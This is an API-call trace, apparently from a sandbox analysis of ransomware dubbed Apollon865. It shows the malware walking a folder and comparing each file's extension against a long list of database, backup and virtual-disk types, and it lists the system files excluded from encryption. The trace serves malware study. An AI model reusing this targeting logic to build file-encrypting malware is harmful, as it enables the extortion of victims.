	[0075.294] lstrlenW (lpString="accdw") returned 5
	[0075.294] lstrcmpiW (lpString1="s.htm", lpString2="accdw") returned 1
	[0075.294] lstrlenW (lpString="accft") returned 5
	[0075.294] lstrcmpiW (lpString1="s.htm", lpString2="accft") returned 1
	[0075.294] lstrlenW (lpString="adb") returned 3
	[0075.294] lstrcmpiW (lpString1="htm", lpString2="adb") returned 1
	[0075.294] lstrlenW (lpString="adb") returned 3
	[0075.294] lstrcmpiW (lpString1="htm", lpString2="adb") returned 1
	[0075.294] lstrlenW (lpString="ade") returned 3
	[0075.294] lstrcmpiW (lpString1="htm", lpString2="ade") returned 1
	[0075.294] lstrlenW (lpString="adf") returned 3
	[0075.294] lstrcmpiW (lpString1="htm", lpString2="adf") returned 1
	[0075.294] lstrlenW (lpString="adn") returned 3
	[0075.294] lstrcmpiW (lpString1="htm", lpString2="adn") returned 1
	[0075.295] lstrlenW (lpString="adp") returned 3
	[0075.295] lstrcmpiW (lpString1="htm", lpString2="adp") returned 1
	[0075.295] lstrlenW (lpString="alf") returned 3
	[0075.295] lstrcmpiW (lpString1="htm", lpString2="alf") returned 1
	[0075.295] lstrlenW (lpString="ask") returned 3
	[0075.295] lstrcmpiW (lpString1="htm", lpString2="ask") returned 1
	[0075.295] lstrlenW (lpString="btr") returned 3
	[0075.295] lstrcmpiW (lpString1="htm", lpString2="btr") returned 1
	[0075.295] lstrlenW (lpString="cat") returned 3
	[0075.295] lstrcmpiW (lpString1="htm", lpString2="cat") returned 1
	[0075.295] lstrlenW (lpString="cdb") returned 3
	[0075.295] lstrcmpiW (lpString1="htm", lpString2="cdb") returned 1
	[0075.295] lstrlenW (lpString="ckp") returned 3
	[0075.295] lstrcmpiW (lpString1="htm", lpString2="ckp") returned 1
	[0075.295] lstrlenW (lpString="cma") returned 3
	[0075.295] lstrcmpiW (lpString1="htm", lpString2="cma") returned 1
	[0075.295] lstrlenW (lpString="cpd") returned 3
	[0075.295] lstrcmpiW (lpString1="htm", lpString2="cpd") returned 1
	[0075.295] lstrlenW (lpString="dacpac") returned 6
	[0075.295] lstrcmpiW (lpString1="rs.htm", lpString2="dacpac") returned 1
	[0075.295] lstrlenW (lpString="dad") returned 3
	[0075.295] lstrcmpiW (lpString1="htm", lpString2="dad") returned 1
	[0075.295] lstrlenW (lpString="dadiagrams") returned 10
	[0075.295] lstrlenW (lpString="daschema") returned 8
	[0075.295] lstrcmpiW (lpString1="ears.htm", lpString2="daschema") returned 1
	[0075.295] lstrlenW (lpString="db-journal") returned 10
	[0075.295] lstrlenW (lpString="db-shm") returned 6
	[0075.295] lstrcmpiW (lpString1="rs.htm", lpString2="db-shm") returned 1
	[0075.295] lstrlenW (lpString="db-wal") returned 6
	[0075.295] lstrcmpiW (lpString1="rs.htm", lpString2="db-wal") returned 1
	[0075.295] lstrlenW (lpString="dbc") returned 3
	[0075.295] lstrcmpiW (lpString1="htm", lpString2="dbc") returned 1
	[0075.295] lstrlenW (lpString="dbs") returned 3
	[0075.295] lstrcmpiW (lpString1="htm", lpString2="dbs") returned 1
	[0075.295] lstrlenW (lpString="dbt") returned 3
	[0075.295] lstrcmpiW (lpString1="htm", lpString2="dbt") returned 1
	[0075.295] lstrlenW (lpString="dbv") returned 3
	[0075.296] lstrcmpiW (lpString1="htm", lpString2="dbv") returned 1
	[0075.296] lstrlenW (lpString="dbx") returned 3
	[0075.296] lstrcmpiW (lpString1="htm", lpString2="dbx") returned 1
	[0075.296] lstrlenW (lpString="dcb") returned 3
	[0075.296] lstrcmpiW (lpString1="htm", lpString2="dcb") returned 1
	[0075.296] lstrlenW (lpString="dct") returned 3
	[0075.296] lstrcmpiW (lpString1="htm", lpString2="dct") returned 1
	[0075.296] lstrlenW (lpString="dcx") returned 3
	[0075.296] lstrcmpiW (lpString1="htm", lpString2="dcx") returned 1
	[0075.296] lstrlenW (lpString="ddl") returned 3
	[0075.296] lstrcmpiW (lpString1="htm", lpString2="ddl") returned 1
	[0075.296] lstrlenW (lpString="dlis") returned 4
	[0075.296] lstrcmpiW (lpString1=".htm", lpString2="dlis") returned -1
	[0075.296] lstrlenW (lpString="dp1") returned 3
	[0075.296] lstrcmpiW (lpString1="htm", lpString2="dp1") returned 1
	[0075.296] lstrlenW (lpString="dqy") returned 3
	[0075.296] lstrcmpiW (lpString1="htm", lpString2="dqy") returned 1
	[0075.296] lstrlenW (lpString="dsk") returned 3
	[0075.296] lstrcmpiW (lpString1="htm", lpString2="dsk") returned 1
	[0075.296] lstrlenW (lpString="dsn") returned 3
	[0075.296] lstrcmpiW (lpString1="htm", lpString2="dsn") returned 1
	[0075.296] lstrlenW (lpString="dtsx") returned 4
	[0075.296] lstrcmpiW (lpString1=".htm", lpString2="dtsx") returned -1
	[0075.296] lstrlenW (lpString="dxl") returned 3
	[0075.296] lstrcmpiW (lpString1="htm", lpString2="dxl") returned 1
	[0075.296] lstrlenW (lpString="eco") returned 3
	[0075.296] lstrcmpiW (lpString1="htm", lpString2="eco") returned 1
	[0075.296] lstrlenW (lpString="ecx") returned 3
	[0075.296] lstrcmpiW (lpString1="htm", lpString2="ecx") returned 1
	[0075.296] lstrlenW (lpString="edb") returned 3
	[0075.296] lstrcmpiW (lpString1="htm", lpString2="edb") returned 1
	[0075.296] lstrlenW (lpString="epim") returned 4
	[0075.296] lstrcmpiW (lpString1=".htm", lpString2="epim") returned -1
	[0075.296] lstrlenW (lpString="fcd") returned 3
	[0075.296] lstrcmpiW (lpString1="htm", lpString2="fcd") returned 1
	[0075.296] lstrlenW (lpString="fdb") returned 3
	[0075.296] lstrcmpiW (lpString1="htm", lpString2="fdb") returned 1
	[0075.297] lstrlenW (lpString="fic") returned 3
	[0075.297] lstrcmpiW (lpString1="htm", lpString2="fic") returned 1
	[0075.297] lstrlenW (lpString="flexolibrary") returned 12
	[0075.297] lstrlenW (lpString="fm5") returned 3
	[0075.297] lstrcmpiW (lpString1="htm", lpString2="fm5") returned 1
	[0075.297] lstrlenW (lpString="fmp") returned 3
	[0075.297] lstrcmpiW (lpString1="htm", lpString2="fmp") returned 1
	[0075.297] lstrlenW (lpString="fmp12") returned 5
	[0075.297] lstrcmpiW (lpString1="s.htm", lpString2="fmp12") returned 1
	[0075.297] lstrlenW (lpString="fmpsl") returned 5
	[0075.297] lstrcmpiW (lpString1="s.htm", lpString2="fmpsl") returned 1
	[0075.297] lstrlenW (lpString="fol") returned 3
	[0075.297] lstrcmpiW (lpString1="htm", lpString2="fol") returned 1
	[0075.297] lstrlenW (lpString="fp3") returned 3
	[0075.297] lstrcmpiW (lpString1="htm", lpString2="fp3") returned 1
	[0075.297] lstrlenW (lpString="fp4") returned 3
	[0075.297] lstrcmpiW (lpString1="htm", lpString2="fp4") returned 1
	[0075.297] lstrlenW (lpString="fp5") returned 3
	[0075.297] lstrcmpiW (lpString1="htm", lpString2="fp5") returned 1
	[0075.297] lstrlenW (lpString="fp7") returned 3
	[0075.297] lstrcmpiW (lpString1="htm", lpString2="fp7") returned 1
	[0075.297] lstrlenW (lpString="fpt") returned 3
	[0075.297] lstrcmpiW (lpString1="htm", lpString2="fpt") returned 1
	[0075.297] lstrlenW (lpString="frm") returned 3
	[0075.297] lstrcmpiW (lpString1="htm", lpString2="frm") returned 1
	[0075.297] lstrlenW (lpString="gdb") returned 3
	[0075.297] lstrcmpiW (lpString1="htm", lpString2="gdb") returned 1
	[0075.297] lstrlenW (lpString="gdb") returned 3
	[0075.297] lstrcmpiW (lpString1="htm", lpString2="gdb") returned 1
	[0075.297] lstrlenW (lpString="grdb") returned 4
	[0075.297] lstrcmpiW (lpString1=".htm", lpString2="grdb") returned -1
	[0075.297] lstrlenW (lpString="gwi") returned 3
	[0075.297] lstrcmpiW (lpString1="htm", lpString2="gwi") returned 1
	[0075.297] lstrlenW (lpString="hdb") returned 3
	[0075.297] lstrcmpiW (lpString1="htm", lpString2="hdb") returned 1
	[0075.297] lstrlenW (lpString="his") returned 3
	[0075.297] lstrcmpiW (lpString1="htm", lpString2="his") returned 1
	[0075.298] lstrlenW (lpString="ib") returned 2
	[0075.298] lstrcmpiW (lpString1="tm", lpString2="ib") returned 1
	[0075.298] lstrlenW (lpString="idb") returned 3
	[0075.298] lstrcmpiW (lpString1="htm", lpString2="idb") returned -1
	[0075.298] lstrlenW (lpString="ihx") returned 3
	[0075.298] lstrcmpiW (lpString1="htm", lpString2="ihx") returned -1
	[0075.298] lstrlenW (lpString="itdb") returned 4
	[0075.298] lstrcmpiW (lpString1=".htm", lpString2="itdb") returned -1
	[0075.298] lstrlenW (lpString="itw") returned 3
	[0075.298] lstrcmpiW (lpString1="htm", lpString2="itw") returned -1
	[0075.298] lstrlenW (lpString="jet") returned 3
	[0075.298] lstrcmpiW (lpString1="htm", lpString2="jet") returned -1
	[0075.298] lstrlenW (lpString="jtx") returned 3
	[0075.298] lstrcmpiW (lpString1="htm", lpString2="jtx") returned -1
	[0075.298] lstrlenW (lpString="kdb") returned 3
	[0075.298] lstrcmpiW (lpString1="htm", lpString2="kdb") returned -1
	[0075.298] lstrlenW (lpString="kexi") returned 4
	[0075.298] lstrcmpiW (lpString1=".htm", lpString2="kexi") returned -1
	[0075.298] lstrlenW (lpString="kexic") returned 5
	[0075.298] lstrcmpiW (lpString1="s.htm", lpString2="kexic") returned 1
	[0075.298] lstrlenW (lpString="kexis") returned 5
	[0075.298] lstrcmpiW (lpString1="s.htm", lpString2="kexis") returned 1
	[0075.298] lstrlenW (lpString="lgc") returned 3
	[0075.298] lstrcmpiW (lpString1="htm", lpString2="lgc") returned -1
	[0075.298] lstrlenW (lpString="lwx") returned 3
	[0075.298] lstrcmpiW (lpString1="htm", lpString2="lwx") returned -1
	[0075.298] lstrlenW (lpString="maf") returned 3
	[0075.298] lstrcmpiW (lpString1="htm", lpString2="maf") returned -1
	[0075.298] lstrlenW (lpString="maq") returned 3
	[0075.298] lstrcmpiW (lpString1="htm", lpString2="maq") returned -1
	[0075.298] lstrlenW (lpString="mar") returned 3
	[0075.298] lstrcmpiW (lpString1="htm", lpString2="mar") returned -1
	[0075.298] lstrlenW (lpString="marshal") returned 7
	[0075.298] lstrcmpiW (lpString1="ars.htm", lpString2="marshal") returned -1
	[0075.298] lstrlenW (lpString="mas") returned 3
	[0075.298] lstrcmpiW (lpString1="htm", lpString2="mas") returned -1
	[0075.298] lstrlenW (lpString="mav") returned 3
	[0075.299] lstrcmpiW (lpString1="htm", lpString2="mav") returned -1
	[0075.299] lstrlenW (lpString="maw") returned 3
	[0075.299] lstrcmpiW (lpString1="htm", lpString2="maw") returned -1
	[0075.299] lstrlenW (lpString="mdbhtml") returned 7
	[0075.299] lstrcmpiW (lpString1="ars.htm", lpString2="mdbhtml") returned -1
	[0075.299] lstrlenW (lpString="mdn") returned 3
	[0075.299] lstrcmpiW (lpString1="htm", lpString2="mdn") returned -1
	[0075.299] lstrlenW (lpString="mdt") returned 3
	[0075.299] lstrcmpiW (lpString1="htm", lpString2="mdt") returned -1
	[0075.299] lstrlenW (lpString="mfd") returned 3
	[0075.299] lstrcmpiW (lpString1="htm", lpString2="mfd") returned -1
	[0075.299] lstrlenW (lpString="mpd") returned 3
	[0075.299] lstrcmpiW (lpString1="htm", lpString2="mpd") returned -1
	[0075.299] lstrlenW (lpString="mrg") returned 3
	[0075.299] lstrcmpiW (lpString1="htm", lpString2="mrg") returned -1
	[0075.299] lstrlenW (lpString="mud") returned 3
	[0075.299] lstrcmpiW (lpString1="htm", lpString2="mud") returned -1
	[0075.299] lstrlenW (lpString="mwb") returned 3
	[0075.299] lstrcmpiW (lpString1="htm", lpString2="mwb") returned -1
	[0075.299] lstrlenW (lpString="myd") returned 3
	[0075.299] lstrcmpiW (lpString1="htm", lpString2="myd") returned -1
	[0075.299] lstrlenW (lpString="ndf") returned 3
	[0075.299] lstrcmpiW (lpString1="htm", lpString2="ndf") returned -1
	[0075.299] lstrlenW (lpString="nnt") returned 3
	[0075.299] lstrcmpiW (lpString1="htm", lpString2="nnt") returned -1
	[0075.299] lstrlenW (lpString="nrmlib") returned 6
	[0075.299] lstrcmpiW (lpString1="rs.htm", lpString2="nrmlib") returned 1
	[0075.299] lstrlenW (lpString="ns2") returned 3
	[0075.299] lstrcmpiW (lpString1="htm", lpString2="ns2") returned -1
	[0075.299] lstrlenW (lpString="ns3") returned 3
	[0075.299] lstrcmpiW (lpString1="htm", lpString2="ns3") returned -1
	[0075.299] lstrlenW (lpString="ns4") returned 3
	[0075.299] lstrcmpiW (lpString1="htm", lpString2="ns4") returned -1
	[0075.299] lstrlenW (lpString="nsf") returned 3
	[0075.299] lstrcmpiW (lpString1="htm", lpString2="nsf") returned -1
	[0075.299] lstrlenW (lpString="nv") returned 2
	[0075.299] lstrcmpiW (lpString1="tm", lpString2="nv") returned 1
	[0075.300] lstrlenW (lpString="nv2") returned 3
	[0075.300] lstrcmpiW (lpString1="htm", lpString2="nv2") returned -1
	[0075.300] lstrlenW (lpString="nwdb") returned 4
	[0075.300] lstrcmpiW (lpString1=".htm", lpString2="nwdb") returned -1
	[0075.300] lstrlenW (lpString="nyf") returned 3
	[0075.300] lstrcmpiW (lpString1="htm", lpString2="nyf") returned -1
	[0075.300] lstrlenW (lpString="odb") returned 3
	[0075.300] lstrcmpiW (lpString1="htm", lpString2="odb") returned -1
	[0075.300] lstrlenW (lpString="odb") returned 3
	[0075.300] lstrcmpiW (lpString1="htm", lpString2="odb") returned -1
	[0075.300] lstrlenW (lpString="oqy") returned 3
	[0075.300] lstrcmpiW (lpString1="htm", lpString2="oqy") returned -1
	[0075.300] lstrlenW (lpString="ora") returned 3
	[0075.300] lstrcmpiW (lpString1="htm", lpString2="ora") returned -1
	[0075.300] lstrlenW (lpString="orx") returned 3
	[0075.300] lstrcmpiW (lpString1="htm", lpString2="orx") returned -1
	[0075.300] lstrlenW (lpString="owc") returned 3
	[0075.300] lstrcmpiW (lpString1="htm", lpString2="owc") returned -1
	[0075.300] lstrlenW (lpString="p96") returned 3
	[0075.300] lstrcmpiW (lpString1="htm", lpString2="p96") returned -1
	[0075.300] lstrlenW (lpString="p97") returned 3
	[0075.300] lstrcmpiW (lpString1="htm", lpString2="p97") returned -1
	[0075.300] lstrlenW (lpString="pan") returned 3
	[0075.300] lstrcmpiW (lpString1="htm", lpString2="pan") returned -1
	[0075.300] lstrlenW (lpString="pdb") returned 3
	[0075.300] lstrcmpiW (lpString1="htm", lpString2="pdb") returned -1
	[0075.300] lstrlenW (lpString="pdm") returned 3
	[0075.300] lstrcmpiW (lpString1="htm", lpString2="pdm") returned -1
	[0075.300] lstrlenW (lpString="pnz") returned 3
	[0075.300] lstrcmpiW (lpString1="htm", lpString2="pnz") returned -1
	[0075.300] lstrlenW (lpString="qry") returned 3
	[0075.300] lstrcmpiW (lpString1="htm", lpString2="qry") returned -1
	[0075.300] lstrlenW (lpString="qvd") returned 3
	[0075.300] lstrcmpiW (lpString1="htm", lpString2="qvd") returned -1
	[0075.300] lstrlenW (lpString="rbf") returned 3
	[0075.300] lstrcmpiW (lpString1="htm", lpString2="rbf") returned -1
	[0075.301] lstrlenW (lpString="rctd") returned 4
	[0075.301] lstrcmpiW (lpString1=".htm", lpString2="rctd") returned -1
	[0075.301] lstrlenW (lpString="rod") returned 3
	[0075.301] lstrcmpiW (lpString1="htm", lpString2="rod") returned -1
	[0075.301] lstrlenW (lpString="rodx") returned 4
	[0075.301] lstrcmpiW (lpString1=".htm", lpString2="rodx") returned -1
	[0075.301] lstrlenW (lpString="rpd") returned 3
	[0075.301] lstrcmpiW (lpString1="htm", lpString2="rpd") returned -1
	[0075.301] lstrlenW (lpString="rsd") returned 3
	[0075.301] lstrcmpiW (lpString1="htm", lpString2="rsd") returned -1
	[0075.301] lstrlenW (lpString="sas7bdat") returned 8
	[0075.301] lstrcmpiW (lpString1="ears.htm", lpString2="sas7bdat") returned -1
	[0075.301] lstrlenW (lpString="sbf") returned 3
	[0075.301] lstrcmpiW (lpString1="htm", lpString2="sbf") returned -1
	[0075.301] lstrlenW (lpString="scx") returned 3
	[0075.301] lstrcmpiW (lpString1="htm", lpString2="scx") returned -1
	[0075.301] lstrlenW (lpString="sdb") returned 3
	[0075.301] lstrcmpiW (lpString1="htm", lpString2="sdb") returned -1
	[0075.301] lstrlenW (lpString="sdc") returned 3
	[0075.301] lstrcmpiW (lpString1="htm", lpString2="sdc") returned -1
	[0075.301] lstrlenW (lpString="sdf") returned 3
	[0075.301] lstrcmpiW (lpString1="htm", lpString2="sdf") returned -1
	[0075.301] lstrlenW (lpString="sis") returned 3
	[0075.301] lstrcmpiW (lpString1="htm", lpString2="sis") returned -1
	[0075.301] lstrlenW (lpString="spq") returned 3
	[0075.301] lstrcmpiW (lpString1="htm", lpString2="spq") returned -1
	[0075.301] lstrlenW (lpString="te") returned 2
	[0075.301] lstrcmpiW (lpString1="tm", lpString2="te") returned 1
	[0075.301] lstrlenW (lpString="teacher") returned 7
	[0075.301] lstrcmpiW (lpString1="ars.htm", lpString2="teacher") returned -1
	[0075.301] lstrlenW (lpString="tmd") returned 3
	[0075.301] lstrcmpiW (lpString1="htm", lpString2="tmd") returned -1
	[0075.301] lstrlenW (lpString="tps") returned 3
	[0075.301] lstrcmpiW (lpString1="htm", lpString2="tps") returned -1
	[0075.301] lstrlenW (lpString="trc") returned 3
	[0075.301] lstrcmpiW (lpString1="htm", lpString2="trc") returned -1
	[0075.302] lstrlenW (lpString="trc") returned 3
	[0075.302] lstrcmpiW (lpString1="htm", lpString2="trc") returned -1
	[0075.302] lstrlenW (lpString="trm") returned 3
	[0075.302] lstrcmpiW (lpString1="htm", lpString2="trm") returned -1
	[0075.302] lstrlenW (lpString="udb") returned 3
	[0075.302] lstrcmpiW (lpString1="htm", lpString2="udb") returned -1
	[0075.302] lstrlenW (lpString="udl") returned 3
	[0075.302] lstrcmpiW (lpString1="htm", lpString2="udl") returned -1
	[0075.302] lstrlenW (lpString="usr") returned 3
	[0075.302] lstrcmpiW (lpString1="htm", lpString2="usr") returned -1
	[0075.302] lstrlenW (lpString="v12") returned 3
	[0075.302] lstrcmpiW (lpString1="htm", lpString2="v12") returned -1
	[0075.302] lstrlenW (lpString="vis") returned 3
	[0075.302] lstrcmpiW (lpString1="htm", lpString2="vis") returned -1
	[0075.302] lstrlenW (lpString="vpd") returned 3
	[0075.302] lstrcmpiW (lpString1="htm", lpString2="vpd") returned -1
	[0075.302] lstrlenW (lpString="vvv") returned 3
	[0075.302] lstrcmpiW (lpString1="htm", lpString2="vvv") returned -1
	[0075.302] lstrlenW (lpString="wdb") returned 3
	[0075.302] lstrcmpiW (lpString1="htm", lpString2="wdb") returned -1
	[0075.302] lstrlenW (lpString="wmdb") returned 4
	[0075.302] lstrcmpiW (lpString1=".htm", lpString2="wmdb") returned -1
	[0075.302] lstrlenW (lpString="wrk") returned 3
	[0075.302] lstrcmpiW (lpString1="htm", lpString2="wrk") returned -1
	[0075.302] lstrlenW (lpString="xdb") returned 3
	[0075.302] lstrcmpiW (lpString1="htm", lpString2="xdb") returned -1
	[0075.302] lstrlenW (lpString="xld") returned 3
	[0075.302] lstrcmpiW (lpString1="htm", lpString2="xld") returned -1
	[0075.302] lstrlenW (lpString="xmlff") returned 5
	[0075.302] lstrcmpiW (lpString1="s.htm", lpString2="xmlff") returned -1
	[0075.302] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2acb98, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2acb98, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa352261, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x432, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Bears.jpg", cAlternateFileName="")) returned 1
	[0075.303] lstrcmpiW (lpString1="Bears.jpg", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0075.303] lstrcmpiW (lpString1="Bears.jpg", lpString2="Apollon865.txt.exe") returned 1
	[0075.303] lstrcmpiW (lpString1="Bears.jpg", lpString2=".") returned 1
	[0075.303] lstrcmpiW (lpString1="Bears.jpg", lpString2="..") returned 1
	[0075.303] lstrcmpiW (lpString1="Bears.jpg", lpString2="windows") returned -1
	[0075.303] lstrcmpiW (lpString1="Bears.jpg", lpString2="bootmgr") returned -1
	[0075.303] lstrcmpiW (lpString1="Bears.jpg", lpString2="temp") returned -1
	[0075.303] lstrcmpiW (lpString1="Bears.jpg", lpString2="pagefile.sys") returned -1
	[0075.303] lstrcmpiW (lpString1="Bears.jpg", lpString2="boot") returned -1
	[0075.303] lstrcmpiW (lpString1="Bears.jpg", lpString2="ids.txt") returned -1
	[0075.303] lstrcmpiW (lpString1="Bears.jpg", lpString2="ntuser.dat") returned -1
	[0075.303] lstrcmpiW (lpString1="Bears.jpg", lpString2="perflogs") returned -1
	[0075.303] lstrcmpiW (lpString1="Bears.jpg", lpString2="MSBuild") returned -1
	[0075.303] lstrlenW (lpString="Bears.jpg") returned 9
	[0075.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67
	[0075.303] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="Bears.jpg" | out: lpString1="Bears.jpg") returned="Bears.jpg"
	[0075.303] lstrlenW (lpString="Bears.jpg") returned 9
	[0075.303] lstrlenW (lpString="Apollon865") returned 10
	[0075.303] lstrlenW (lpString=".dll") returned 4
	[0075.303] lstrcmpiW (lpString1="Bears.jpg", lpString2=".dll") returned 1
	[0075.303] lstrlenW (lpString=".lnk") returned 4
	[0075.303] lstrcmpiW (lpString1="Bears.jpg", lpString2=".lnk") returned 1
	[0075.303] lstrlenW (lpString=".ini") returned 4
	[0075.303] lstrcmpiW (lpString1="Bears.jpg", lpString2=".ini") returned 1
	[0075.303] lstrlenW (lpString=".sys") returned 4
	[0075.303] lstrcmpiW (lpString1="Bears.jpg", lpString2=".sys") returned 1
	[0075.303] lstrlenW (lpString="Bears.jpg") returned 9
	[0075.303] lstrlenW (lpString="bak") returned 3
	[0075.303] lstrcmpiW (lpString1="jpg", lpString2="bak") returned 1
	[0075.303] lstrlenW (lpString="ba_") returned 3
	[0075.303] lstrcmpiW (lpString1="jpg", lpString2="ba_") returned 1
	[0075.303] lstrlenW (lpString="dbb") returned 3
	[0075.303] lstrcmpiW (lpString1="jpg", lpString2="dbb") returned 1
	[0075.303] lstrlenW (lpString="vmdk") returned 4
	[0075.303] lstrcmpiW (lpString1=".jpg", lpString2="vmdk") returned -1
	[0075.304] lstrlenW (lpString="rar") returned 3
	[0075.304] lstrcmpiW (lpString1="jpg", lpString2="rar") returned -1
	[0075.304] lstrlenW (lpString="zip") returned 3
	[0075.304] lstrcmpiW (lpString1="jpg", lpString2="zip") returned -1
	[0075.304] lstrlenW (lpString="tgz") returned 3
	[0075.304] lstrcmpiW (lpString1="jpg", lpString2="tgz") returned -1
	[0075.304] lstrlenW (lpString="vbox") returned 4
	[0075.304] lstrcmpiW (lpString1=".jpg", lpString2="vbox") returned -1
	[0075.304] lstrlenW (lpString="vdi") returned 3
	[0075.304] lstrcmpiW (lpString1="jpg", lpString2="vdi") returned -1
	[0075.304] lstrlenW (lpString="vhd") returned 3
	[0075.304] lstrcmpiW (lpString1="jpg", lpString2="vhd") returned -1
	[0075.304] lstrlenW (lpString="vhdx") returned 4
	[0075.304] lstrcmpiW (lpString1=".jpg", lpString2="vhdx") returned -1
	[0075.304] lstrlenW (lpString="avhd") returned 4
	[0075.304] lstrcmpiW (lpString1=".jpg", lpString2="avhd") returned -1
	[0075.304] lstrlenW (lpString="db") returned 2
	[0075.304] lstrcmpiW (lpString1="pg", lpString2="db") returned 1
	[0075.304] lstrlenW (lpString="db2") returned 3
	[0075.304] lstrcmpiW (lpString1="jpg", lpString2="db2") returned 1
	[0075.304] lstrlenW (lpString="db3") returned 3
	[0075.304] lstrcmpiW (lpString1="jpg", lpString2="db3") returned 1
	[0075.304] lstrlenW (lpString="dbf") returned 3
	[0075.304] lstrcmpiW (lpString1="jpg", lpString2="dbf") returned 1
	[0075.304] lstrlenW (lpString="mdf") returned 3
	[0075.304] lstrcmpiW (lpString1="jpg", lpString2="mdf") returned -1
	[0075.304] lstrlenW (lpString="mdb") returned 3
	[0075.304] lstrcmpiW (lpString1="jpg", lpString2="mdb") returned -1
	[0075.304] lstrlenW (lpString="sql") returned 3
	[0075.304] lstrcmpiW (lpString1="jpg", lpString2="sql") returned -1
	[0075.304] lstrlenW (lpString="sqlite") returned 6
	[0075.304] lstrcmpiW (lpString1="rs.jpg", lpString2="sqlite") returned -1
	[0075.304] lstrlenW (lpString="sqlite3") returned 7
	[0075.304] lstrcmpiW (lpString1="ars.jpg", lpString2="sqlite3") returned -1
	[0075.304] lstrlenW (lpString="sqlitedb") returned 8
	[0075.304] lstrcmpiW (lpString1="ears.jpg", lpString2="sqlitedb") returned -1
	[0075.304] lstrlenW (lpString="xml") returned 3
	[0075.305] lstrcmpiW (lpString1="jpg", lpString2="xml") returned -1
	[0075.305] lstrlenW (lpString="$er") returned 3
	[0075.305] lstrcmpiW (lpString1="jpg", lpString2="$er") returned 1
	[0075.305] lstrlenW (lpString="4dd") returned 3
	[0075.305] lstrcmpiW (lpString1="jpg", lpString2="4dd") returned 1
	[0075.305] lstrlenW (lpString="4dl") returned 3
	[0075.305] lstrcmpiW (lpString1="jpg", lpString2="4dl") returned 1
	[0075.305] lstrlenW (lpString="^^^") returned 3
	[0075.305] lstrcmpiW (lpString1="jpg", lpString2="^^^") returned 1
	[0075.305] lstrlenW (lpString="abs") returned 3
	[0075.305] lstrcmpiW (lpString1="jpg", lpString2="abs") returned 1
	[0075.305] lstrlenW (lpString="abx") returned 3
	[0075.305] lstrcmpiW (lpString1="jpg", lpString2="abx") returned 1
	[0075.305] lstrlenW (lpString="accdb") returned 5
	[0075.305] lstrcmpiW (lpString1="s.jpg", lpString2="accdb") returned 1
	[0075.305] lstrlenW (lpString="accdc") returned 5
	[0075.305] lstrcmpiW (lpString1="s.jpg", lpString2="accdc") returned 1
	[0075.305] lstrlenW (lpString="accde") returned 5
	[0075.305] lstrcmpiW (lpString1="s.jpg", lpString2="accde") returned 1
	[0075.305] lstrlenW (lpString="accdr") returned 5
	[0075.305] lstrcmpiW (lpString1="s.jpg", lpString2="accdr") returned 1
	[0075.305] lstrlenW (lpString="accdt") returned 5
	[0075.305] lstrcmpiW (lpString1="s.jpg", lpString2="accdt") returned 1
	[0075.305] lstrlenW (lpString="accdw") returned 5
	[0075.305] lstrcmpiW (lpString1="s.jpg", lpString2="accdw") returned 1
	[0075.305] lstrlenW (lpString="accft") returned 5
	[0075.305] lstrcmpiW (lpString1="s.jpg", lpString2="accft") returned 1
	[0075.305] lstrlenW (lpString="adb") returned 3
	[0075.305] lstrcmpiW (lpString1="jpg", lpString2="adb") returned 1
	[0075.305] lstrlenW (lpString="adb") returned 3
	[0075.305] lstrcmpiW (lpString1="jpg", lpString2="adb") returned 1
	[0075.305] lstrlenW (lpString="ade") returned 3
	[0075.305] lstrcmpiW (lpString1="jpg", lpString2="ade") returned 1
	[0075.305] lstrlenW (lpString="adf") returned 3
	[0075.305] lstrcmpiW (lpString1="jpg", lpString2="adf") returned 1
	[0075.305] lstrlenW (lpString="adn") returned 3
	[0075.306] lstrcmpiW (lpString1="jpg", lpString2="adn") returned 1
	[0075.306] lstrlenW (lpString="adp") returned 3
	[0075.306] lstrcmpiW (lpString1="jpg", lpString2="adp") returned 1
	[0075.306] lstrlenW (lpString="alf") returned 3
	[0075.306] lstrcmpiW (lpString1="jpg", lpString2="alf") returned 1
	[0075.306] lstrlenW (lpString="ask") returned 3
	[0075.306] lstrcmpiW (lpString1="jpg", lpString2="ask") returned 1
	[0075.306] lstrlenW (lpString="btr") returned 3
	[0075.306] lstrcmpiW (lpString1="jpg", lpString2="btr") returned 1
	[0075.306] lstrlenW (lpString="cat") returned 3
	[0075.306] lstrcmpiW (lpString1="jpg", lpString2="cat") returned 1
	[0075.306] lstrlenW (lpString="cdb") returned 3
	[0075.306] lstrcmpiW (lpString1="jpg", lpString2="cdb") returned 1
	[0075.306] lstrlenW (lpString="ckp") returned 3
	[0075.306] lstrcmpiW (lpString1="jpg", lpString2="ckp") returned 1
	[0075.306] lstrlenW (lpString="cma") returned 3
	[0075.306] lstrcmpiW (lpString1="jpg", lpString2="cma") returned 1
	[0075.306] lstrlenW (lpString="cpd") returned 3
	[0075.306] lstrcmpiW (lpString1="jpg", lpString2="cpd") returned 1
	[0075.306] lstrlenW (lpString="dacpac") returned 6
	[0075.306] lstrcmpiW (lpString1="rs.jpg", lpString2="dacpac") returned 1
	[0075.306] lstrlenW (lpString="dad") returned 3
	[0075.306] lstrcmpiW (lpString1="jpg", lpString2="dad") returned 1
	[0075.306] lstrlenW (lpString="dadiagrams") returned 10
	[0075.306] lstrlenW (lpString="daschema") returned 8
	[0075.306] lstrcmpiW (lpString1="ears.jpg", lpString2="daschema") returned 1
	[0075.306] lstrlenW (lpString="db-journal") returned 10
	[0075.306] lstrlenW (lpString="db-shm") returned 6
	[0075.306] lstrcmpiW (lpString1="rs.jpg", lpString2="db-shm") returned 1
	[0075.306] lstrlenW (lpString="db-wal") returned 6
	[0075.306] lstrcmpiW (lpString1="rs.jpg", lpString2="db-wal") returned 1
	[0075.306] lstrlenW (lpString="dbc") returned 3
	[0075.306] lstrcmpiW (lpString1="jpg", lpString2="dbc") returned 1
	[0075.306] lstrlenW (lpString="dbs") returned 3
